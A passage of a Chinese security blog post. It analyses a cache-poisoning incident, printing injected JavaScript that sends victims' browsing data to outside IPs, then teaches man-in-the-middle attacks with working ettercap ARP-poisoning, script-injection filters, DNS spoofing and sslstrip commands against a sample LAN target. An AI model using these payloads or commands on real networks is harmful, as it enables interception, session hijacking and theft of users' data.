	js.setAttribute('src',jsurl);
	document.body.appendChild(js);

	var js1 = document.createElement('script');
	var mylog = "http://122.114.61.38/fishingnet/js2log?jsurl="+jsurl;
	js1.setAttribute('src',mylog);
	document.body.appendChild(js1);
}
}(window,document);

第二条GET请求直接返回一个js函数：

function isPC() {
    
    var flag = false;
    
    var userAgentInfo = 'curl/7.26.0';
    var Agents = ["Windows NT", "Macintosh"];    
    for (var v = 0; v < Agents.length; v++) {
        if (userAgentInfo.indexOf(Agents[v]) > 0) {
            flag = true;
            break;
        }
    }
    
    return flag;
}
var putting1 = function(){
    var accessId = '';
    if(window.localStorage){  
        if(typeof(localStorage.accessId_fn) == "undefined")
        {
           localStorage.accessId_fn = "accessId_fn"+new Date().getTime();
        }
        accessId = localStorage.accessId_fn;
    }
    var url = window.location.href;
    var accessIp = '116.236.107.222';
    var accessUa = 'curl/7.26.0';   
    if(top.location == location)
    {       
        var ajax_fn = 'http://211.149.216.27/fn_put/put2.jsp?postfix=&siteID=2&isPC='+isPC()+'&accessUa='+accessUa+'&accessIp='+accessIp+'&accessId='+accessId+'&url='+escape(url);
        var script = document.createElement("script");
        script.src =  ajax_fn;
        document.body.appendChild(script);
    }
}
if (typeof(isload_fn) == "undefined" || isload_fn==false) {
        var isload_fn = true;
        putting1();
}

第三次GET没有返回，估计只是给服务器端的jsp传参，最后就是以同样的形式把我的浏览信息按照ajax_fn的格式送给服务器了，很恶毒对不对？但这只是结果，从一开始请求ad.js之后，一切就脱离正轨了，我们需要找到原因，就必须再往上，开启wireshark抓包，设置过滤条件为：

http&&(ip.addr==122.114.61.38 || ip.addr==211.149.216.27)

看看结果：

baidu_c.js是什么玩意，下载来看看：

/*! Copyright 2015 Baidu Inc. All Rights Reserved. */
; (function() {
    var l = void 0,
    m = !0,
    o = null,
    s = !1;
    function v(e) {
        return function() {
            return e
        }
    }
    var E = {
        t1: +new Date,
        t2: 0,
        t3: 0,
        t4: 0
    },
    I = ["search!"],
    aa = 3,
    ma = "BAIDU_DUP2_replacement",
    na = "http://dup.baidustatic.com/painter/",
    ... //省略四千行
    })();

    var myDate = new Date();
    var tt = myDate.getFullYear() +"_"+ myDate.getMonth() +"_"+ myDate.getDate();
    document.write("<scr"+"ipt id = 'myscript' src='http://122.114.61.38/fishingnet/shtt2/baidu_h.js?"+tt+"'></scr"+"ipt>");

是个四千行左右的js脚本，开头有baidu的版权，注意最后三行，似乎是额外添加的。也就是说我本该请求一个真正的baidu_c.js，却被攻击者调包了。 调包之后的js直接用document.write给我添加了点内容，恩，baidu_h.js，下载看看：

var myads = document.getElementsByName("my_adsense_kk");
var ad_loc = "shtt2";
var ad_src = "baidu_c";
if(myads)
{
	//console.log(myads);
	//alert(myads.length);
	//for(myaddiv in myads)
	//console.log(myads.length);
	for(var i = 0, l = myads.length; i < l; i++) 
	{
		//alert(myadframe.item);
		//console.log("mylog");
		//console.log(myads[i].id);
		var content="";
		murl=encodeURIComponent(window.location.href.toLowerCase());
		if(!myads[i].hasChildNodes())
		{
			iframe = document.createElement("iframe");
			iframe.setAttribute("id", "gad-iframe");
            		iframe.style.align = "center";

			if(myads[i].id.match(/300_250/i) == "300_250")
			{
				iframe.src="http://122.114.61.38/fishingnet/ad.html?ad_width=300&ad_height=250&ad_src=baidu_c&ad_loc="+ad_loc+"&ad_from="+murl;
            			iframe.style.width = "300px";
            			iframe.style.height = "250px";
				content="add";

			}
			if(myads[i].id.match(/728_90/i) == "728_90")
			{
				iframe.src="http://122.114.61.38/fishingnet/ad.html?ad_width=728&ad_height=90&ad_src=baidu_c&ad_loc="+ad_loc+"&ad_from="+murl;
            			iframe.style.width = "728px";
            			iframe.style.height = "90px";
				content="add";
			}
			if(myads[i].id.match(/336_280/i) == "336_280")
			{
				iframe.src="http://122.114.61.38/fishingnet/ad.html?ad_width=336&ad_height=280&ad_src=baidu_c&ad_loc="+ad_loc+"&ad_from="+murl;
            			iframe.style.width = "336px";
            			iframe.style.height = "280px";
				content="add";
			}
			if(myads[i].id.match(/960_90/i) == "960_90")
			{
				iframe.src="http://122.114.61.38/fishingnet/ad.html?ad_width=960&ad_height=90&ad_src=baidu_c&ad_loc="+ad_loc+"&ad_from="+murl;
            			iframe.style.width = "960px";
            			iframe.style.height = "90px";
				content="add";
			}
			if(myads[i].id.match(/1000_90/i) == "1000_90")
			{
				iframe.src="http://122.114.61.38/fishingnet/ad.html?ad_width=1000&ad_height=90&ad_src=baidu_c&ad_loc="+ad_loc+"&ad_from="+murl;
            			iframe.style.width = "1000px";
            			iframe.style.height = "90px";
				content="add";
			}
			if(myads[i].id.match(/200_200/i) == "200_200")
			{
				iframe.src="http://122.114.61.38/fishingnet/ad.html?ad_width=200&ad_height=200&ad_src=baidu_c&ad_loc="+ad_loc+"&ad_from="+murl;
            			iframe.style.width = "200px";
            			iframe.style.height = "2000px";
				content="add";
			}
			if(myads[i].id.match(/250_250/i) == "250_250")
			{
				iframe.src="http://122.114.61.38/fishingnet/ad.html?ad_width=250&ad_height=250&ad_src=baidu_c&ad_loc="+ad_loc+"&ad_from="+murl;
            			iframe.style.width = "250px";
            			iframe.style.height = "250px";
				content="add";
			}
			if(myads[i].id.match(/250_120/i) == "250_120")
			{
				iframe.src="http://122.114.61.38/fishingnet/ad.html?ad_width=250&ad_height=120&ad_src=baidu_c&ad_loc="+ad_loc+"&ad_from="+murl;
            			iframe.style.width = "250px";
            			iframe.style.height = "120px";
				content="add";
			}
			
			if(content)
			{
				myads[i].appendChild(iframe);
			}
		}
	}
}

在这里给我加了个ad.html的frame子标签，至此从ad.html搞的手脚就全部应用到我的页面上了，在wireshark找到上传cookie的地方，右键Follow TCP Stream：

果然请求都是从ad.html发出的。

至此为止，攻击过程是清楚了，但是源头还是没解决。一开始访问网站的时候，为什么请求了一个假的baidu_c.h呢？经过查找类似病例，发现很有可能是被js缓存投毒了，其基本原理是利用一些网站的个别缓存js很久不更新且缓存时间很长的事实，对其进行污染修改。致受害者在浏览网站的时候与执行攻击者插入的内容。因此把.mozilla目录下的cache全部清空，再打开浏览器上网，世界终于清净了。关于缓存投毒可以参考Browser-Cache-Poisoning.pdf

后记

这次中招突如其来，如果不是弹窗太突兀，整个中间人攻击的过程还是相当隐秘的，其背后还好是个以钓鱼为目的的黑产链，若是单纯的监控或者做小手脚，一般人根本无法察觉，真是细思恐极。而且这种攻击是基于缓存的行为，杀毒软件是无法检测到的。网络世界像黑暗森林一样野蛮无情，掌握点基本技能保护自己还是很必要的。

流量分析

通常我们成功变成中间人之后，会一直捕捉目标的流量数据并且保存为本地的cap文件，然后再用工具对数据信息进行分析。流量抓取的方式有很多，比如Linux下的tcpdump（Window下为Windump）， ettercap和wireshark（曾经的ehtereal）等，但是说到流量分析，就不能不提到大名鼎鼎的Wireshark。wireshark是一款用于网络封包的协议分析的开源软件，其最基本的功能就是捕捉指定网络接口的流量数据，并且按照其协议格式显示。我们这里仅用其来捕捉和分析数据，网络专家还可以用它来debug网络协议实现细节，检查安全问题，网络协议内部构件等等。

过滤报文

面对大量来自各个客户端各种协议的报文，我们需要对其进行过滤筛选，比如指定IP地址的HTTP报文等过滤条件，可以在filter栏里直接写过滤条件，或者在Analyze->Display Filter里面定义并添加自己的过滤条件。另外Wireshark还提供了追踪TCP/UDP流的功能，直接右键封包点击Follow TCP stream即可看见服务器和目标之间的全部会话，值得注意的是，关闭会话数据窗口后，过滤条件会被自动引用。

虽然我们暂时不必理解各个协议的实现细节，但是对基本的HTTP，TCP/IP和ARP等协议的层次结构还是需要有一定理解的，况且到了某个阶段当我们不满足于仅仅用脚本进行攻击的时候，仍然还是需要了解协议实现细节并找到攻击漏洞，当然这是后话了。常见协议的基本模型如下图所示：

统计信息

在wireshark的标题栏中有一个选项Statistics里面包含了许多本次capfile的统计信息，如wireshark的IO Graphs等，我们可以用wireshark的IO Graphs工具来分析抓包的数据流。IO Graphs是一个非常好用的工具。

基本的Wireshark IO graph会显示抓包文件中的整体流量情况，通常是以每秒为单位（报文数或字节数）。默认X轴时间间隔是1秒，Y轴是每一时间间隔的报文数。如果想要查看 每秒bit数或byte数，点击“Unit”， 在“Y Axis”下拉列表中选择想要查看的内容。这是一种基本的应用，对于查看流量中的波峰/波谷很有帮助。另外还可以查看protocol hierarchy（显示捕捉文件包含的所有协议的树状分支）； 也可以查看会话统计（conversation）来按分类分析数据。

这里单独说一下Statistics里的HTTP统计。分别可以查看packet counter，requests 和 load distribution的信息，针对每个信息，还可以设置特定的过滤规则，如要获得指定HTTP主机的统计信息， 设置过滤条件http.host contains <host_name> 或 http.host==<host_name>，再如，通过设置过滤条件http.host contains xxoo.com，可以获得站点xxoo.com的统计信息。值得一提的是，当我们 打开一个网页，通常会向若干个URL发送请求，比如页面重定向，外链和广告等，可以自己设置合适的规则来过滤。比如目标主机浏览了豆瓣，知乎和dudata，

全部截取的http request流量是这样的：

经过自定义过滤规则，可以把一些不必要的信息去掉，下面的过滤规则为 http.host contains www:

wireshark还有很多其他功能，比如以endpoint来查看数据包的统计信息等，总而言之，wireshark是个很强大的网络分析工具，详细的用法可以自己在帮助手册中查看。

会话劫持

会话劫持（session hijacker）是最基本的一种中间人攻击手段。攻击者通过分析目标的HTTP流量来获得其账户的cookie，从而用此信息来取得含有身份信息的会话页面。其原理十分简单，就是用工具（如上面的wireshark）在捕捉到的数据包里提取出HTTP数据中含有cookie字段的信息，然后用工具（如火狐浏览器的Firebug）按样填写cookie对应字段即可登录原网站。我这里是用了火狐的Greasemonkey+cookie injector来实现cookie的登录。值得一提的是，Greasemonkey是一个非常有用的浏览器插件，可以根据浏览的网站来执行特定的javascript脚本，比如cookie injector就是一个根据wireshark复制的cookie格式来登录页面的一个js脚本，从而可以在自己的浏览器上登录目标帐号。此外在这个网站还能找到其他很多有意思的脚本，可以自己去发掘。

除了用传统方式劫持会话，还有一些其他的小工具可以使这个过程变得简单化，比如ferret和hamster等等。

会话修改

会话劫持可以有效窥视目标的隐私信息，但是中间人能做的不止于此。既然目标所接收到的数据都是经过中间人转发的，那么中间人自然可以对其进行修改。这里要用到ettercap工具，之前也提到过很多次了，这里就稍微详细介绍一下。ettercap是一个多用途的嗅探器/内容过滤器，常用于中间人的攻击中。其一般命令格式为：

ettercap [OPTIONS] [TARGET1] [TARGET2]

其中, TARGET可以是MAC/IP/IPV6/端口，其中IP和端口可以用范围表示，比如/192.168.1.100-120/20,22

修改网页内容

ettercap有强大的过滤脚本功能，其原理是对要转发到目标的数据包进行修改，可以实现替换网页内容、替换下载链接和插入js脚本等效果。过滤脚本是指在ettercap中用于描述修改规则的.filter文件，下面举例说明。

首先是在目标请求的网页里插入js脚本，这里以最简单的弹窗为例，etterfilter过滤脚本如下：

(ip.proto == TCP && tcp.dst == 80)
{
    if (search(DATA.data, "Accept-Encoding"))
    {
        replace("Accept-Encoding", "Accept-Rubbish!");
        # note: replacement string is same length as original string
        msg("zapped Accept-Encoding!\n");
    }
}
if (ip.proto == TCP && tcp.src == 80)
{
    replace("<head>", "<head><script type="text/javascript">alert('big brother is watching you');</script>");
    replace("<HEAD>", "<HEAD><script type="text/javascript">alert('big brother is watching you');</script>");
    msg("Injecting OK!!\n");
}

过滤脚本的语法很简单，可以直接man etterfilter查看。上述脚本的第一个if块的含义是使得请求的数据包不要进行压缩。需要特别注意的是，if和括号之间必须有空格，而函数和括号之间不能有空格。将上述过滤脚本保存为alert.filter，然后编译：

etterfilter alert.filter -o alert.ef

其中编译后的alert.ef是ettercap可识别的二进制过滤文件。

这里假设要攻击的目标为192.168.1.106，网关为192.168.1.1，使用上述过滤脚本进行攻击的方法为：

ettercap -i wlan0 -Tq -M arp:remote /192.168.1.106/ /192.168.1.1/ -F alert.ef

运行后当目标用浏览器浏览http网站的时候，就会出现弹窗显示“big brother is watching you”

除了插入脚本，还可以替换网页的图片和文本等内容，这里以替换图片为例，过滤脚本为：

if (ip.proto == TCP && tcp.dst == 80) 
{
   if (search(DATA.data, "Accept-Encoding")) 
　　{
      replace("Accept-Encoding", "Accept-Rubbish!"); 
      # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) 
{
   replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   msg("Replace OK.\n");
}

运行方法还是与之前类似。这里用到了内置函数replace()，etterfilter里还有很多有用的内置函数，详情可以在manpage中查看。

随便打开一个美女图片的网站，替换效果如下：

DNS欺骗

DNS为域名解析，即从url网址到ip地址的转换过程，通过DNS欺骗，我们可以把目标的请求重定向到指定的ip地址去，比如钓鱼地址。利用现有的工具，比如SET（social engineering toolkit）就可以很容易伪造钓鱼网站从而使目标上当，当然这是后话了。通过ettercap的dns_spoof插件就可以对目标的DNS进行污染，值得一提的是，ettercap里有很多插件，都通过-P选项来调用。

要使用DNS欺骗，首先修改/usr/local/share/ettercap/etter.dns文件，添加对应的url到ip的映射关系，

baidu.com     　　  A     　　202.89.233.101
*.baidu.com     　　A    　　 202.89.233.101
www.baidu.com   　PTR        202.89.233.101

然后再运行

ettercap -i wlan0 -Tq -M arp:remote /192.168.1.106/ /192.168.1.1/ -P dns_spoof

此时目标（192.168.1.106）访问百度的时候，就会被重定向到202.89.233.101，这里注意的是前提要目标之前最近没访问过百度，也就是说要求目标DNS缓存里没有百度的ip，否则就需要刷新其DNS缓存才能生效。

针对SSL的中间人攻击

在中间人嗅探目标和服务器之间的流量的时候，如果目标使用的是HTTP链接，当其填写表单并提交的时候，我们一般可以捕捉到明文的帐号密码信息。然而，如果目标使用的是HTTPS，则我们抓到的数据是加密过的乱码，无法得到有用的信息。HTTPS即为HTTP+SSL，在应用层和网络层之间加入了SSL（加密套接字协议层）。具体的协议详情就不说了，只讲一下在这种情况下的应对方法。

SSL卸载

SSL卸载的原理是，利用目标的疏忽，将其HTTPS链接替换成HTTP，从而达到嗅探明文信息的目的。这里使用Moxie Marlinspike开发的sslstrip工具来实现：

首先打开sslstrip，指定监听的端口，默认为端口10000，这里使用默认端口，“-l 10000“可以不写。

sslstrip -l 10000

然后开启内核转发，将HTTP（80端口）的流量转发到sslstrip监听的端口上去。关于转发的具体选项可以参考我上一篇ARP欺骗与中间人攻击。

    echo 1 > /proc/sys/net/ipv4/ip_forward
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

最后使用ettercap进行中间人攻击

ettercap -i wlan0 -Tq -M arp:remote /192.168.1.106/ /192.168.1.1/

此时目标访问https的网站时，会自动变成http，于是我们就能抓取明文的数据了。

伪造SSL证书

要伪造SSL证书，需要了解SSL的认证过程，其主要分为服务器认证和用户认证两个阶段，其中：

服务器认证阶段：

1. 客户端向服务器发送一个开始信息“Hello”以便开始一个新的会话连接；
2. 服务器根据客户的信息确定是否需要生成新的主密钥，如需要则服务器在响应客户的“Hello”信息时将包含生成主密钥所需的信息；
3. 客户根据收到的服务器响应信息，产生一个主密钥，并用服务器的公开密钥加密后传给服务器；
4. 服务器回复该主密钥，并返回给客户一个用主密钥认证的信息，以此让客户认证服务器。

用户认证阶段：在此之前，服务器已经通过了客户认证，这一阶段主要完成对客户的认证。经认证的服务器发送一个提问给客户，客户则返回（数字）签名后的提问和其公开密钥，从而向服务器提供认证。

作为中间人，我们可以在认证过程中也插一脚。大体流程如下：

1). 首先伪造一组rsa公/私钥对，可以用openssl来生成：

openssl genrsa -out private.key 1024
openssl rsa -in private.key -pubout -out public.key

2). 由于SSL协议走的不是80端口而是443端口，我们需要开启本机内核转发功能，用iptable将流向网关和目标的443端口数据重定向到本机：

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to 192.168.1.100

假设192.168.1.100是攻击者IP

3). 最后在本机上对目标和服务器进行双向SSL认证，结果使得目标和中间人进行了SSL链接，中间人和服务器进行SSL链接，这样中间人转发数据的同时，也拥有了明文的信息。具体实现可以用libssl+socket自己写，限于篇幅这里就不细说了。另外值得一提的是，对于伪造的SSL证书，目标浏览器在上网的时候会提示该证书不受信任，因此这只是提供一种思路，除非目标十分粗心大意，否则并没有太大的攻击效用。

SSL/TLS破解

要知道SSL采用RSA加密，要暴力破解几乎是不可能的，但是由于SSL/TLS中使用"记录协议数据包"来封装上层的应用数据，而且 SSL/TLS使用CBC加密模式进行分组对称加密，不同"记录协议数据包"之间并不是独立的IV，不同的数据包之间形成一个整体的CBC模式 ，因此 攻击者可以在返回流量中注入js代码，根据攻击者已知的IV和Ciper，来穷举出下一个数据包中包含的cookie信息，从而破解出HTTPS的明文数据。具体实现过程可以参考讨论相关技术的博文，如BEAST、CRIME等针对openssl漏洞的攻击。

后记

中间人攻击的手段多种多样，用于MITM攻击的工具也已经有很多，比如driftnet、dsniff、ettercap、sslstrip等，本文主要介绍了其中的一部分；但是最主要的还是要理解其原理，即ARP，修改以及转发，知道其工作过程后，我们甚至可以不借助工具，通过socket编程就能自己写一个简单的中间人攻击程序。另外作为一个普通的用户而言，面对中间人的潜在威胁，也需要提高自己的安全防范意识，比如尽量使用https链接保护自身隐私，对于SSL证书的异常提醒也要非常注意，尤其是在涉及到金钱交易的网站之时，更是需要小心慎重，以免落入他人的陷阱之中。